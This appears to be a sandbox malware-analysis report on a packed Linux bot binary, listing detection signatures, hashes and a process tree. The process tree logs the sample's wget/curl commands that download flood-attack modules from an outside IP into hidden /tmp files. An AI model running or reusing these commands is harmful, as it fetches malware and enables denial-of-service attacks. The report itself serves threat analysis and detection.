Overview

overview

8

Static

static

1

bot.x86_64.elf

ubuntu-18.04-amd64

8

Analysis

  • max time kernel
    148s
  • max time network
    145s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    26/05/2026, 04:37

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    bot.x86_64.elf
  • Size 1.0MB
  • Sample260526-e85lasbx6q
  • SHA256 91ad53e0873eed107e45492ba83f0dcc202ada759d1d42ea4b65881bd85510a4
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
discoveryupx

Malware Config

Signatures

  • Patched UPX-packed file 7 IoCs

    Sample is packed with UPX but required header fields are zeroed out to prevent unpacking with the default UPX tool.

  • UPX packed file 7 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Reads CPU attributes 1 TTPs 1 IoCs
    discovery
  • Reads runtime system information 1 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bot.x86_64.elf
    /tmp/bot.x86_64.elf
    1⤵
    • Reads CPU attributes
    • Reads runtime system information
    PID:1482
    • /bin/sh
      sh -c -- "wget -q -T 5 -O /tmp/.udp.so http://85.204.125.76:8000/methods/udp.so 2>/dev/null || curl -s -m 5 -o /tmp/.udp.so http://85.204.125.76:8000/methods/udp.so 2>/dev/null"
      2⤵
        PID:1483
        • /usr/bin/wget
          wget -q -T 5 -O /tmp/.udp.so http://85.204.125.76:8000/methods/udp.so
          3⤵
          • Writes file to tmp directory
          PID:1484
      • /bin/sh
        sh -c -- "wget -q -T 5 -O /tmp/.syn.so http://85.204.125.76:8000/methods/syn.so 2>/dev/null || curl -s -m 5 -o /tmp/.syn.so http://85.204.125.76:8000/methods/syn.so 2>/dev/null"
        2⤵
          PID:1486
          • /usr/bin/wget
            wget -q -T 5 -O /tmp/.syn.so http://85.204.125.76:8000/methods/syn.so
            3⤵
            • Writes file to tmp directory
            PID:1487
        • /bin/sh
          sh -c -- "wget -q -T 5 -O /tmp/.ack.so http://85.204.125.76:8000/methods/ack.so 2>/dev/null || curl -s -m 5 -o /tmp/.ack.so http://85.204.125.76:8000/methods/ack.so 2>/dev/null"
          2⤵
            PID:1492
            • /usr/bin/wget
              wget -q -T 5 -O /tmp/.ack.so http://85.204.125.76:8000/methods/ack.so
              3⤵
              • Writes file to tmp directory
              PID:1493
          • /bin/sh
            sh -c -- "wget -q -T 5 -O /tmp/.icmp.so http://85.204.125.76:8000/methods/icmp.so 2>/dev/null || curl -s -m 5 -o /tmp/.icmp.so http://85.204.125.76:8000/methods/icmp.so 2>/dev/null"
            2⤵
              PID:1494
              • /usr/bin/wget
                wget -q -T 5 -O /tmp/.icmp.so http://85.204.125.76:8000/methods/icmp.so
                3⤵
                • Writes file to tmp directory
                PID:1495
            • /bin/sh
              sh -c -- "wget -q -T 5 -O /tmp/.http.so http://85.204.125.76:8000/methods/http.so 2>/dev/null || curl -s -m 5 -o /tmp/.http.so http://85.204.125.76:8000/methods/http.so 2>/dev/null"
              2⤵
                PID:1496
                • /usr/bin/wget
                  wget -q -T 5 -O /tmp/.http.so http://85.204.125.76:8000/methods/http.so
                  3⤵
                  • Writes file to tmp directory
                  PID:1497
              • /bin/sh
                sh -c -- "wget -q -T 5 -O /tmp/.dns.so http://85.204.125.76:8000/methods/dns.so 2>/dev/null || curl -s -m 5 -o /tmp/.dns.so http://85.204.125.76:8000/methods/dns.so 2>/dev/null"
                2⤵
                  PID:1498
                  • /usr/bin/wget
                    wget -q -T 5 -O /tmp/.dns.so http://85.204.125.76:8000/methods/dns.so
                    3⤵
                    • Writes file to tmp directory
                    PID:1499
                • /bin/sh
                  sh -c -- "wget -q -T 5 -O /tmp/.slowloris.so http://85.204.125.76:8000/methods/slowloris.so 2>/dev/null || curl -s -m 5 -o /tmp/.slowloris.so http://85.204.125.76:8000/methods/slowloris.so 2>/dev/null"
                  2⤵
                    PID:1500
                    • /usr/bin/wget
                      wget -q -T 5 -O /tmp/.slowloris.so http://85.204.125.76:8000/methods/slowloris.so
                      3⤵
                      • Writes file to tmp directory
                      PID:1501
                  • /bin/sh
                    sh -c -- "wget -q -T 5 -O /tmp/.combo.so http://85.204.125.76:8000/methods/combo.so 2>/dev/null || curl -s -m 5 -o /tmp/.combo.so http://85.204.125.76:8000/methods/combo.so 2>/dev/null"
                    2⤵
                      PID:1502
                      • /usr/bin/wget
                        wget -q -T 5 -O /tmp/.combo.so http://85.204.125.76:8000/methods/combo.so
                        3⤵
                        • Writes file to tmp directory
                        PID:1503

                  Network

                        MITRE ATT&CK Enterprise v16

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        .ack.so
                        • Path /tmp/.ack.so
                        • Size 12KB
                        • SHA256 ca3142439ebc1130e0c3b1066b2a4451b5907132e0c9c6c6a3be1b07b0a4b32b
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        .combo.so
                        • Path /tmp/.combo.so
                        • Size 16KB
                        • SHA256 732c477b015e9ec2f1a89246e69892935e5f0eec9919af1ca36c6ad207d789e5
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        .dns.so
                        • Path /tmp/.dns.so
                        • Size 12KB
                        • SHA256 88e6d8c5a9cb4128b9e372f5198926a5916448faf1022952f9ae2b5e7d09e327
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        .http.so
                        • Path /tmp/.http.so
                        • Size 16KB
                        • SHA256 ae63389ae5570b1bbfd484ffa2ebdd9be70f75eca75039922cef7d0ac02f5518
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        .icmp.so
                        • Path /tmp/.icmp.so
                        • Size 12KB
                        • SHA256 d251ad61b2503e4ab0045bf412df7691b31f89427be49d01d8340e3eb3633540
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        .slowloris.so
                        • Path /tmp/.slowloris.so
                        • Size 12KB
                        • SHA256 8c4f2754a382bfa41eb6eaaf28dabb29496dcb8425cb03694d2e5a6c0a31f6bf
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        .syn.so
                        • Path /tmp/.syn.so
                        • Size 12KB
                        • SHA256 8b061595424e0ee4724eb1abf0b2e4f7a82d044dcd54a2aef011d8f54c403a9e
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        .udp.so
                        • Path /tmp/.udp.so
                        • Size 12KB
                        • SHA256 252d01ae1553d3e145ca7fada59578cf729bdd27814f110e493f2a9f1e8a312f
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download